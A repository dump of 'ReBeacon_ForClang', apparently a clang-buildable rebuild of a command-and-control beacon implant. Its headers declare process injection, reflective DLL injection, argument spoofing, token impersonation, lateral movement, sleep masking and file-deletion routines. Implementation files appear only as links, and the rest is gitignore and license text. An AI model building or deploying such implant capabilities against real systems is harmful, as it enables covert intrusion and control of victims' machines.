├── .idea
├── .gitignore
├── ReBeacon_Src.iml
├── encodings.xml
└── modules.xml
├── BeaconBof.cpp
├── BeaconBof.h
├── BeaconFileManage.cpp
├── BeaconFileManage.h
├── BeaconInject.cpp
├── BeaconInject.h
├── BeaconJob.cpp
├── BeaconJob.h
├── BeaconLateralMovement.cpp
├── BeaconLateralMovement.h
├── BeaconSleep.cpp
├── BeaconSleep.h
├── BeaconTask.cpp
├── BeaconTask.h
├── BeaconX64.cpp
├── BeaconX64.h
├── Beaconrportfwd.cpp
├── Beaconrportfwd.h
├── ChildBeacon.cpp
├── ChildBeacon.h
├── Global.cpp
├── Global.h
├── README.md
├── Utils.cpp
├── Utils.h
├── Veil
├── .gitignore
├── LICENSE
├── LICENSE.MINT
├── LICENSE.phnt
├── Library
│ ├── README.Ci.md
│ ├── Stub.Ci.cpp
│ └── ci.def
├── README.Zh-CN.md
├── README.md
├── Veil.Test
│ ├── My.Cpp.Default.props
│ ├── Veil.Test.Kernel.inf
│ ├── Veil.Test.Kernel.vcxproj
│ ├── Veil.Test.Kernel.vcxproj.filters
│ ├── Veil.Test.Main.cpp
│ ├── Veil.Test.UserMode.vcxproj
│ ├── Veil.Test.UserMode.vcxproj.filters
│ └── Veil.Test.sln
├── Veil.h
└── Veil
│ ├── Veil.System.ALPC.h
│ ├── Veil.System.ConfigurationManager.h
│ ├── Veil.System.Debug.h
│ ├── Veil.System.Define.h
│ ├── Veil.System.Executive.h
│ ├── Veil.System.IOManager.h
│ ├── Veil.System.KernelCore.h
│ ├── Veil.System.Loader.h
│ ├── Veil.System.MemoryManager.h
│ ├── Veil.System.MinCrypt.h
│ ├── Veil.System.Nls.h
│ ├── Veil.System.ObjectManager.h
│ ├── Veil.System.PowerManager.h
│ ├── Veil.System.Process.h
│ ├── Veil.System.RuntimeLibrary.h
│ └── Veil.System.Security.h
├── beaconMain.cpp
├── comm.cpp
├── comm.h
├── common.cpp
├── common.h
├── crypt-1.18.2.zip
├── encrypt_decrypt.cpp
├── encrypt_decrypt.h
├── lib
├── tomcrypt.lib
├── tomcryptx64.lib
├── tommath.lib
└── tommathx64.lib
├── macro.h
├── rotation.cpp
├── rotation.h
├── start.bat
├── tomcrypt.h
├── tomcrypt.lib
├── tomcrypt_argchk.h
├── tomcrypt_cfg.h
├── tomcrypt_cipher.h
├── tomcrypt_custom.h
├── tomcrypt_hash.h
├── tomcrypt_mac.h
├── tomcrypt_macros.h
├── tomcrypt_math.h
├── tomcrypt_misc.h
├── tomcrypt_pk.h
├── tomcrypt_pkcs.h
├── tomcrypt_prng.h
├── tomcryptx64.lib
├── tommath.lib
└── tommathx64.lib
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # 默认忽略的文件
2 | /shelf/
3 | /workspace.xml
4 | # 基于编辑器的 HTTP 客户端请求
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/ReBeacon_Src.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/BeaconBof.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconBof.cpp
--------------------------------------------------------------------------------
/BeaconBof.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconBof.h
--------------------------------------------------------------------------------
/BeaconFileManage.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconFileManage.cpp
--------------------------------------------------------------------------------
/BeaconFileManage.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Utils.h"
3 | #include "comm.h"
4 | #include "common.h"
5 | #include
6 |
7 | void BeaconLs(char* Taskdata, int Task_size);
8 |
9 | void beacon_MkDir(char* Taskdata, int Task_size);
10 |
11 | void GetDrivesList(char* Taskdata, int Task_size);
12 |
13 | void beacon_rm(char* Taskdata, int Task_size);
14 |
15 | typedef void(__cdecl *CallbackDelFilePtr)(const char* path, const char* name, int type);
16 | void CallbackDelFile(const char* path, const char* name, int type);
17 |
18 | void DeleteAllFile(char* buffer);
19 |
20 | void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun);
21 |
22 | void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback);
23 |
24 | void beacon_copy(char* Taskdata, int Task_size);
25 |
26 | void beacon_Move(char* Taskdata, int Task_size);
--------------------------------------------------------------------------------
/BeaconInject.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconInject.cpp
--------------------------------------------------------------------------------
/BeaconInject.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Global.h"
3 | #include "Utils.h"
4 | #include "comm.h"
5 | #include "common.h"
6 |
7 | int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess);
8 |
9 | void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len);
10 |
11 | int BeaconExecuteCommand(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int Flag, int ignoreToken);
12 |
13 | void BeaconSpawnX86(BOOL ignoreToken, char* data, size_t Size, BOOL x86);
14 |
15 | void BeaconReflectiveDLLInject(char* Taskdata, int Taskdata_size, int x86);
16 |
17 | int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo);
18 |
19 | int BeaconCreateProcess(char* path, int path_size, _STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken, int PPID);
20 |
21 | void BeaconRunCommand(char* Taskdata, int Taskdata_size);
22 |
23 | void BeaconSpoofArgsAdd(char* Taskdata, int Taskdata_size);
24 |
25 | void SpoofArgsRemove(char* Taskdata, int Taskdata_size);
26 |
27 | void SpoofArgsList();
28 |
29 | void getspawntopath(char* path_buffer, BOOL x86);
30 |
31 |
--------------------------------------------------------------------------------
/BeaconJob.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconJob.cpp
--------------------------------------------------------------------------------
/BeaconJob.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconJob.h
--------------------------------------------------------------------------------
/BeaconLateralMovement.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconLateralMovement.cpp
--------------------------------------------------------------------------------
/BeaconLateralMovement.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "Utils.h"
4 | #include "comm.h"
5 | #include "common.h"
6 | #include "BeaconJob.h"
7 |
8 | extern HANDLE g_hToken;
9 | extern HANDLE g_hObject;
10 | extern HANDLE g_hHandle;
11 |
12 | struct BeaconMiniHttp
13 | {
14 | SOCKET socket;
15 | int payloadsize;
16 | int httpheadersize;
17 | char* payload;
18 | char* httpheader;
19 | char* rvcedata;
20 | };
21 |
22 | struct BeaconBackgroundThreads
23 | {
24 | void* StartAddress;
25 | void* lpParameter;
26 | BOOL(WINAPI * pVirtualFree)(LPVOID,SIZE_T, DWORD);
27 | };
28 | void NamedPipesSendData(char* Taskdata, int Task_size);
29 |
30 | void ScriptCradle(char* Taskdata, int Task_size);
31 |
32 | void StartNamedPipeReceiveData(char* Taskdata, int Task_size);
33 |
34 | void ImpersonationToken();
35 |
36 | void BeaconPowerShellImport(char* Taskdata, int Task_size);
37 | void BeaconWebDelivery(char* Taskdata, int Task_size);
38 |
39 | void __cdecl CheckDownload(size_t size);
--------------------------------------------------------------------------------
/BeaconSleep.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconSleep.cpp
--------------------------------------------------------------------------------
/BeaconSleep.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Global.h"
3 | #include "Utils.h"
4 | #include "encrypt_decrypt.h"
5 | struct SLEEPMASKP
6 | {
7 | char* BeaconBase;
8 | int* sections;
9 | char mask[13];
10 | };
11 | extern SLEEPMASKP* gBeaconSleepMask;
12 | typedef void (__stdcall* pSleep)(_In_ DWORD dwMilliseconds);
13 | void sub_1000436C();
14 | void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time);
15 | void sub_10004325();
16 | void BeaconSleep(DWORD dwMilliseconds);
--------------------------------------------------------------------------------
/BeaconTask.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconTask.cpp
--------------------------------------------------------------------------------
/BeaconTask.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Global.h"
3 |
4 |
5 |
6 | void Parse_Task(BeaconTask* beaconTask, size_t length);
7 |
8 | int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess);
--------------------------------------------------------------------------------
/BeaconX64.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconX64.cpp
--------------------------------------------------------------------------------
/BeaconX64.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/BeaconX64.h
--------------------------------------------------------------------------------
/Beaconrportfwd.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/Beaconrportfwd.cpp
--------------------------------------------------------------------------------
/Beaconrportfwd.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Utils.h"
3 | #pragma pack(1)
4 | struct BeaconRportfwd
5 | {
6 | int field_0;
7 | int state;
8 | int field_8_time;
9 | int field_C_time;
10 | int field_10;
11 | int port;
12 | int field_18;
13 | SOCKET socket;
14 | BeaconRportfwd* Linked;
15 | };
16 | #pragma pack()
17 |
18 | extern BeaconRportfwd* gBeaconRportfwd;
19 |
20 | int sub_10006D6B();
21 |
22 | void sub_100071B7(char* Taskdata, int Task_size, int addr);
23 |
24 | void sub_1000728D(char* Taskdata, int Task_size);
25 |
26 | SOCKET BeaconNewSocket(int addr, u_short port, int backlog);
27 |
28 | void Add_Beacon_Rportfwd(int unknown, SOCKET socket, int a3, int a4, int port, int a6);
29 |
30 | void sub_10006D81();
31 |
32 | int sub_1000707E();
33 |
34 | void sub_10006FF5();
35 |
36 | void sub_10006B2B(char* Taskdata, int taskdatasize);
37 |
38 | void sub_10006CFC(char* Taskdata, int taskdatasize);
39 |
40 | void sub_10006ACD(char* Taskdata);
--------------------------------------------------------------------------------
/ChildBeacon.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/ChildBeacon.cpp
--------------------------------------------------------------------------------
/ChildBeacon.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/ChildBeacon.h
--------------------------------------------------------------------------------
/Global.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/Global.cpp
--------------------------------------------------------------------------------
/Global.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/Global.h
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ReBeacon_ForClang
2 |
3 | ## 环境:
4 |
5 | ```
6 | clang version 15.0.5
7 | Target: x86_64-pc-windows-msvc
8 | Thread model: posix
9 | ```
10 |
11 | 修改了beacon在clang与gcc环境的编译,配置完环境可直接调用start.bat编译,项目输出在releas目录下
12 |
13 | 项目来自
14 |
15 | [WBGlIl/ReBeacon_Src (github.com)](https://github.com/WBGlIl/ReBeacon_Src)
--------------------------------------------------------------------------------
/Utils.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/Utils.cpp
--------------------------------------------------------------------------------
/Utils.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/Utils.h
--------------------------------------------------------------------------------
/Veil/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
--------------------------------------------------------------------------------
/Veil/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) MiroKaku(MeeSong) and Contributors. All rights reserved.
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Veil/LICENSE.MINT:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) Chuyu-Team and Contributors. All rights reserved.
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Veil/LICENSE.phnt:
--------------------------------------------------------------------------------
1 | Attribution 4.0 International
2 |
3 | =======================================================================
4 |
5 | Creative Commons Corporation ("Creative Commons") is not a law firm and
6 | does not provide legal services or legal advice. Distribution of
7 | Creative Commons public licenses does not create a lawyer-client or
8 | other relationship. Creative Commons makes its licenses and related
9 | information available on an "as-is" basis. Creative Commons gives no
10 | warranties regarding its licenses, any material licensed under their
11 | terms and conditions, or any related information. Creative Commons
12 | disclaims all liability for damages resulting from their use to the
13 | fullest extent possible.
14 |
15 | Using Creative Commons Public Licenses
16 |
17 | Creative Commons public licenses provide a standard set of terms and
18 | conditions that creators and other rights holders may use to share
19 | original works of authorship and other material subject to copyright
20 | and certain other rights specified in the public license below. The
21 | following considerations are for informational purposes only, are not
22 | exhaustive, and do not form part of our licenses.
23 |
24 | Considerations for licensors: Our public licenses are
25 | intended for use by those authorized to give the public
26 | permission to use material in ways otherwise restricted by
27 | copyright and certain other rights. Our licenses are
28 | irrevocable. Licensors should read and understand the terms
29 | and conditions of the license they choose before applying it.
30 | Licensors should also secure all rights necessary before
31 | applying our licenses so that the public can reuse the
32 | material as expected. Licensors should clearly mark any
33 | material not subject to the license. This includes other CC-
34 | licensed material, or material used under an exception or
35 | limitation to copyright. More considerations for licensors:
36 | wiki.creativecommons.org/Considerations_for_licensors
37 |
38 | Considerations for the public: By using one of our public
39 | licenses, a licensor grants the public permission to use the
40 | licensed material under specified terms and conditions. If
41 | the licensor's permission is not necessary for any reason--for
42 | example, because of any applicable exception or limitation to
43 | copyright--then that use is not regulated by the license. Our
44 | licenses grant only permissions under copyright and certain
45 | other rights that a licensor has authority to grant. Use of
46 | the licensed material may still be restricted for other
47 | reasons, including because others have copyright or other
48 | rights in the material. A licensor may make special requests,
49 | such as asking that all changes be marked or described.
50 | Although not required by our licenses, you are encouraged to
51 | respect those requests where reasonable. More considerations
52 | for the public:
53 | wiki.creativecommons.org/Considerations_for_licensees
54 |
55 | =======================================================================
56 |
57 | Creative Commons Attribution 4.0 International Public License
58 |
59 | By exercising the Licensed Rights (defined below), You accept and agree
60 | to be bound by the terms and conditions of this Creative Commons
61 | Attribution 4.0 International Public License ("Public License"). To the
62 | extent this Public License may be interpreted as a contract, You are
63 | granted the Licensed Rights in consideration of Your acceptance of
64 | these terms and conditions, and the Licensor grants You such rights in
65 | consideration of benefits the Licensor receives from making the
66 | Licensed Material available under these terms and conditions.
67 |
68 |
69 | Section 1 -- Definitions.
70 |
71 | a. Adapted Material means material subject to Copyright and Similar
72 | Rights that is derived from or based upon the Licensed Material
73 | and in which the Licensed Material is translated, altered,
74 | arranged, transformed, or otherwise modified in a manner requiring
75 | permission under the Copyright and Similar Rights held by the
76 | Licensor. For purposes of this Public License, where the Licensed
77 | Material is a musical work, performance, or sound recording,
78 | Adapted Material is always produced where the Licensed Material is
79 | synched in timed relation with a moving image.
80 |
81 | b. Adapter's License means the license You apply to Your Copyright
82 | and Similar Rights in Your contributions to Adapted Material in
83 | accordance with the terms and conditions of this Public License.
84 |
85 | c. Copyright and Similar Rights means copyright and/or similar rights
86 | closely related to copyright including, without limitation,
87 | performance, broadcast, sound recording, and Sui Generis Database
88 | Rights, without regard to how the rights are labeled or
89 | categorized. For purposes of this Public License, the rights
90 | specified in Section 2(b)(1)-(2) are not Copyright and Similar
91 | Rights.
92 |
93 | d. Effective Technological Measures means those measures that, in the
94 | absence of proper authority, may not be circumvented under laws
95 | fulfilling obligations under Article 11 of the WIPO Copyright
96 | Treaty adopted on December 20, 1996, and/or similar international
97 | agreements.
98 |
99 | e. Exceptions and Limitations means fair use, fair dealing, and/or
100 | any other exception or limitation to Copyright and Similar Rights
101 | that applies to Your use of the Licensed Material.
102 |
103 | f. Licensed Material means the artistic or literary work, database,
104 | or other material to which the Licensor applied this Public
105 | License.
106 |
107 | g. Licensed Rights means the rights granted to You subject to the
108 | terms and conditions of this Public License, which are limited to
109 | all Copyright and Similar Rights that apply to Your use of the
110 | Licensed Material and that the Licensor has authority to license.
111 |
112 | h. Licensor means the individual(s) or entity(ies) granting rights
113 | under this Public License.
114 |
115 | i. Share means to provide material to the public by any means or
116 | process that requires permission under the Licensed Rights, such
117 | as reproduction, public display, public performance, distribution,
118 | dissemination, communication, or importation, and to make material
119 | available to the public including in ways that members of the
120 | public may access the material from a place and at a time
121 | individually chosen by them.
122 |
123 | j. Sui Generis Database Rights means rights other than copyright
124 | resulting from Directive 96/9/EC of the European Parliament and of
125 | the Council of 11 March 1996 on the legal protection of databases,
126 | as amended and/or succeeded, as well as other essentially
127 | equivalent rights anywhere in the world.
128 |
129 | k. You means the individual or entity exercising the Licensed Rights
130 | under this Public License. Your has a corresponding meaning.
131 |
132 |
133 | Section 2 -- Scope.
134 |
135 | a. License grant.
136 |
137 | 1. Subject to the terms and conditions of this Public License,
138 | the Licensor hereby grants You a worldwide, royalty-free,
139 | non-sublicensable, non-exclusive, irrevocable license to
140 | exercise the Licensed Rights in the Licensed Material to:
141 |
142 | a. reproduce and Share the Licensed Material, in whole or
143 | in part; and
144 |
145 | b. produce, reproduce, and Share Adapted Material.
146 |
147 | 2. Exceptions and Limitations. For the avoidance of doubt, where
148 | Exceptions and Limitations apply to Your use, this Public
149 | License does not apply, and You do not need to comply with
150 | its terms and conditions.
151 |
152 | 3. Term. The term of this Public License is specified in Section
153 | 6(a).
154 |
155 | 4. Media and formats; technical modifications allowed. The
